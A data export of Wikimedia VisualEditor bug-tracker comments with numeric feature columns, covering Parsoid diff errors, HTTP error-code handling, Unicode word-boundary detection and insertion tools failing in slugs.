[I have forked comment 6 into bug 47436.]",,,1366414342,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,True,,,-11,,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,16.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.9473684210526314,0.8947368421052632,"The underlying issue (with Parsoid) has been resolved with the new version of Parsoid finally running on the cluster; marking as FIXED.

[I have forked comment 6 into bug 47436.]"
210387,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"**guanhao7** wrote:

I found it is impossible to use Sogou Input or other Input software to type Chinese with this tool.

You may download a Sogou Input(which is the most popular one in china, on the Windows） to test it.

Here is the download link: http://download.ime.sogou.com/sogou_pinyin_65f.exe?st=lTJ11fWyCsrUkj6oWiGI_Q&e=1359462829&fn=sogou_pinyin_65f.exe",,,1359463674,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,10.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,5.0,19.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,10.0,15.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.559322033898305,0.711864406779661,"**guanhao7** wrote:

I found it is impossible to use Sogou Input or other Input software to type Chinese with this tool.

You may download a Sogou Input(which is the most popular one in china, on the Windows） to test it.

Here is the download link: URL"
210383,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,This would make a nice automated browser regression test,,,1359423892,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,This would make a nice automated browser regression test
210379,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"OK, interesting. This is actually a quite complicated bug, and is not actually correctly-named.

The problem appears to be the '[http://barbarbar bar]' beforehand - if you remove this, the diff magically ""works"" - BUT it fails to show the '[http://barbarbar bar]' being removed, and indeed puts it after the header too, with another paragraph of 'āæǣ'. The diff is the behaviour that results from the save, even though this isn't a fair representation of the document model (the '[http://barbarbar bar]' is removed from the DM).

RK: this feels like a Parsoid bug (or two?), but might be on our side related to SelSer? - can you confirm before we sling it at them?",,,1359422565,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,True,,,-22,,0.0,0.0,0.0,1.0,1.0,2.0,3.0,0.0,0.5,0.5,0.0,5.0,0.0,0.0,0.0,1.5,0.0,6.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,6.5,1.0,1.5,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,11.5,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,8.5,4.5,7.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,5.0,9.0,2.0,2.0,5.5,0.0,5.0,0.0,0.5,2.0,0.5,0.5,0.0,0.0,1.5,3.3650888585099112,0.7323137388926863,"OK, interesting. This is actually a quite complicated bug, and is not actually correctly-named.

The problem appears to be the '[URL bar]' beforehand - if you remove this, the diff magically ""works"" - BUT it fails to show the '[URL bar]' being removed, and indeed puts it after the header too, with another paragraph of 'āæǣ'. The diff is the behaviour that results from the save, even though this isn't a fair representation of the document model (the '[URL bar]' is removed from the DM).

RK: this feels like a Parsoid bug (or two?), but might be on our side related to SelSer? - can you confirm before we sling it at them?"
210373,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,Also repro'd on Chrome/Linux,,,1359417612,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,Also repro'd on Chrome/Linux
210367,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"
Chrome, OSX, enwiki. I can reproduce this reliably on my User page on enwiki.",,,1359417285,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,11.0,26.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.7894736842105263,"
Chrome, OSX, enwiki. I can reproduce this reliably on my User page on enwiki."
210361,VisualEditor: Oddness repetition/wrong diff (from Parsoid?) on save with some funky markup,"Afraid I can't reproduce this (it works fine for me with Firefox, Safari and Chrome from here - I get as-expected diffs, which also then save appropriately) - what wiki / version of the software was this on, and with what browser?",,,1359415631,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-piflhuji3l6moqmh3nbj,task_subcomment,,True,c1,1,True,,,-22,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,12.0,8.0,2.0,0.0,0.0,8.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,3.7058823529411766,0.8235294117647058,"Afraid I can't reproduce this (it works fine for me with Firefox, Safari and Chrome from here - I get as-expected diffs, which also then save appropriately) - what wiki / version of the software was this on, and with what browser?"
46354,VisualEditor: Handle Parsoid error messages and codes sanely,"VE gets some error codes and messages from Parsoid, but not a lot. I'm expanding that a little bit in a new patch [0], and it would be cool if VE could handle the errors I've added.

401: Unauthorized: Should be handled as a user-visible error. Usually this means that the API isn't readable by anonymous users, but could be later used for something else. The text of the HTTP response has details about the error, so showing that to the user might be an OK solution.

404: Not found: Usually means that we couldn't find anything for the article you're trying to parse or serialize. This shouldn't usually happen, but when it does, it *probably* means that the interwiki isn't set properly. Maybe hint that the user should compare their localsettings.js file to the example.

500: Server error: This is a catch-all, but we'll send as much information as we can in the text of the HTTP response. Showing the user the text would go a long way towards more useful bug reports (I currently see roughly 4 suggested duplicates that have roughly the same summary....differentiating them might be helpful)

These are all implemented in js/lib/mediawiki.ApiRequest.js in functions that inherit from the native Error object, so you can read it if you don't want to take my word for it.

We could implement other error codes as we see cases that require them, but these are the big three. And of course 200 is the main success code.

We might also be able to use some of the 3xx codes to represent redirects, but I'm not sure it would be totally useful. File a bug against Parsoid if it would be :)

[0] https://gerrit.wikimedia.org/r/45794

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=43147",High,80.0,1359142560,1362522586.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-ocokyzlkygrkgdcs4rdx,task_description,resolved,True,c1,1,True,False,True,-23,,1.25,0.5,0.25,0.75,2.0,5.75,2.5,0.0,0.0,0.75,2.0,2.5,0.0,0.0,0.0,2.75,0.25,6.5,9.0,0.5,1.0,0.75,0.0,0.0,0.0,0.25,0.0,0.0,2.25,1.25,0.0,5.5,2.5,1.75,1.25,0.75,0.0,0.0,0.0,0.5,0.0,0.75,0.25,1.25,0.0,0.75,0.0,0.75,1.25,12.0,1.25,0.25,0.25,0.5,0.25,0.0,0.0,0.0,0.5,0.5,0.25,1.5,0.0,0.0,0.0,0.75,0.0,6.75,3.5,9.25,2.75,2.5,9.0,0.0,0.25,0.0,0.0,6.25,0.0,2.0,0.0,6.0,9.0,3.5,0.0,0.0,0.0,6.0,0.0,1.0,2.0,0.5,1.25,0.25,0.0,0.5,3.7326147816349384,0.7333706606942889,"VE gets some error codes and messages from Parsoid, but not a lot. I'm expanding that a little bit in a new patch [0], and it would be cool if VE could handle the errors I've added.

401: Unauthorized: Should be handled as a user-visible error. Usually this means that the API isn't readable by anonymous users, but could be later used for something else. The text of the HTTP response has details about the error, so showing that to the user might be an OK solution.

404: Not found: Usually means that we couldn't find anything for the article you're trying to parse or serialize. This shouldn't usually happen, but when it does, it *probably* means that the interwiki isn't set properly. Maybe hint that the user should compare their localsettings.js file to the example.

500: Server error: This is a catch-all, but we'll send as much information as we can in the text of the HTTP response. Showing the user the text would go a long way towards more useful bug reports (I currently see roughly 4 suggested duplicates that have roughly the same summary....differentiating them might be helpful)

These are all implemented in js/lib/mediawiki.ApiRequest.js in functions that inherit from the native Error object, so you can read it if you don't want to take my word for it.

We could implement other error codes as we see cases that require them, but these are the big three. And of course 200 is the main success code.

We might also be able to use some of the 3xx codes to represent redirects, but I'm not sure it would be totally useful. File a bug against Parsoid if it would be :)

[0] GERRIT_URL

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
229240,VisualEditor: Handle Parsoid error messages and codes sanely,"Marking this as done as the code's been committed; we may want to review in future (e.g. i18n of the error messages), but Gabriel has indicated that that entire area of code will be removed anyway, so marking as closed for now.",,,1362522586,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ocokyzlkygrkgdcs4rdx,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,16.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.795918367346939,0.8571428571428571,"Marking this as done as the code's been committed; we may want to review in future (e.g. i18n of the error messages), but Gabriel has indicated that that entire area of code will be removed anyway, so marking as closed for now."
229233,VisualEditor: Handle Parsoid error messages and codes sanely,"(In reply to comment #1)
> Code in Gerrit change #52249

This patch passes through the error messages from Parsoid to the existing error alert in VE. Mark's comment talks about providing suggestions based on the error code. Although maybe this could be done by Parsoid.

This change should at least provide users with more specific errors for filing bugs.",,,1362505236,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ocokyzlkygrkgdcs4rdx,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,20.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,21.0,2.0,3.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,20.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,4.2272727272727275,0.8181818181818182,"(In reply to comment #1)
QUOTE

This patch passes through the error messages from Parsoid to the existing error alert in VE. Mark's comment talks about providing suggestions based on the error code. Although maybe this could be done by Parsoid.

This change should at least provide users with more specific errors for filing bugs."
229228,VisualEditor: Handle Parsoid error messages and codes sanely,Code in gerrit 52249,,,1362504750,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ocokyzlkygrkgdcs4rdx,task_subcomment,,True,c1,1,True,,,-17,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Code in gerrit 52249
46085,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"See http://inimino.org/~inimino/blog/javascript_cset for some work in this area.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1358469000,1365440622.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_description,resolved,True,c1,1,False,False,True,-24,,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.6666666666666666,"See URL for some work in this area.

--------------------------
**Version**: unspecified
**Severity**: major"
214028,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"Like this: https://gerrit.wikimedia.org/r/#/c/54480 (well, apart from non-BMP characters...)",,,1363625285,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-15,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,"Like this: URL (well, apart from non-BMP characters...)"
214024,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"The Unicode standard has a fair amount to say on the matter. Ideally we would implement their standard.

http://www.unicode.org/reports/tr29/#Word_Boundaries",,,1363433728,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,18.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.136363636363637,0.9090909090909091,"The Unicode standard has a fair amount to say on the matter. Ideally we would implement their standard.

URL"
214020,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"As an incremental improvement I've expanded the letters and numbers groups to their Unicode categories: https://gerrit.wikimedia.org/r/#/c/53583/
We still need to think about which punctuation categories to add.",,,1363195148,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,16.0,3.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.774193548387097,0.9032258064516129,"As an incremental improvement I've expanded the letters and numbers groups to their Unicode categories: URL
We still need to think about which punctuation categories to add."
214016,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"If you're going to do lexicon-based word boundary detection in Chinese, maybe you could use a word list stored in a client-side Bloom Filter. 

I don't know if it's as much of a problem in Japanese; you could probably use (?<=\P{Han})(?=\p{Han}) as a good start (i.e. there is a word break be.",,,1363192283,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,False,,,-16,,1.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,1.0,1.0,0.0,6.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,8.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,7.0,11.0,6.0,1.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,4.0,3.408450704225352,0.7605633802816901,"If you're going to do lexicon-based word boundary detection in Chinese, maybe you could use a word list stored in a client-side Bloom Filter. 

I don't know if it's as much of a problem in Japanese; you could probably use (?<=\P{Han})(?=\p{Han}) as a good start (i.e. there is a word break be."
214011,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,To begin with a patch to add some test structure and fix what we have already: https://gerrit.wikimedia.org/r/#/c/53564,,,1363182596,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,To begin with a patch to add some test structure and fix what we have already: URL
214005,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,http://xregexp.com/ has unicode character class support. We may be able to pick out the data we need from it instead of using the whole library.,,,1363178581,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,15.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.8518518518518516,0.9259259259259259,URL has unicode character class support. We may be able to pick out the data we need from it instead of using the whole library.
213999,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,Acutually Chinese & Japanese don't have any word boundaries at all. The only way to detect them is with a dictionary. We'll need a special case for these languages so we don't end up selecting entire sentences.,,,1363176312,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,True,,,-16,,5.0,0.0,0.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,0.0,12.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,14.0,5.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,4.046511627906977,0.8837209302325582,Acutually Chinese & Japanese don't have any word boundaries at all. The only way to detect them is with a dictionary. We'll need a special case for these languages so we don't end up selecting entire sentences.
213992,VisualEditor: ve.dm.SurfaceFragment.wordBoundaryPattern treats non-lower-ASCII word characters as boundaries,"Bit of clarification:

When the user clicks the link button in the toolbar and they haven't selected any text, we expand the selection in both directions from the cursor position and select the word the cursor is in, make that a link, then show the link inspector. The code that expands the selection to a full word is in ve.dm.SurfaceFragment, and apparently treats non-ASCII characters as word boundaries. The practical bug that this leads to is that if you put the cursor in the middle of ""Möckernbrücke"" (or ""égalité"", if you prefer French) and click the link button, only ""ckernbr"" (or ""galit"", respectively) will be selected and linkified. Obviously this is a problem for i18n in languages using an extended Latin alphabet like German, French and Polish, but it's a total nightmare for non-Latin languages like Russian, Hebrew and Japanese.",,,1363054412,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eskw2sna4jhs2lvvjvcw,task_subcomment,,True,c1,1,False,,,-16,,0.5,0.0,0.0,0.5,0.5,6.0,2.0,0.0,0.0,1.0,3.5,0.5,0.0,0.5,0.0,0.5,0.0,4.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,7.0,0.5,0.5,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.5,0.0,2.5,0.0,0.0,0.5,0.5,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,10.0,2.5,9.5,2.5,5.5,12.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,2.5,10.5,5.5,0.0,4.5,0.0,2.5,0.0,1.5,2.5,0.0,0.5,0.0,0.0,0.0,4.0227272727272725,0.6534090909090908,"Bit of clarification:

When the user clicks the link button in the toolbar and they haven't selected any text, we expand the selection in both directions from the cursor position and select the word the cursor is in, make that a link, then show the link inspector. The code that expands the selection to a full word is in ve.dm.SurfaceFragment, and apparently treats non-ASCII characters as word boundaries. The practical bug that this leads to is that if you put the cursor in the middle of ""Möckernbrücke"" (or ""égalité"", if you prefer French) and click the link button, only ""ckernbr"" (or ""galit"", respectively) will be selected and linkified. Obviously this is a problem for i18n in languages using an extended Latin alphabet like German, French and Polish, but it's a total nightmare for non-Latin languages like Russian, Hebrew and Japanese."
46084,"VisualEditor: Insertion tools (link inspector, media inserter, reference, reference list, …) don't work in slugs","Related to bug 44083

Because there is not yet a paragraph to insert content in, the link inspector won't be able to insert the new link text into a slug, even if bug 44083 is fixed.

The solution is probably to make the automatic paragraph insertion code in ve.ce.Surface.handleInsert more generic and moving it into ve.dm.SurfaceFragment.insertContent, triggered when inserting at a slug location.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
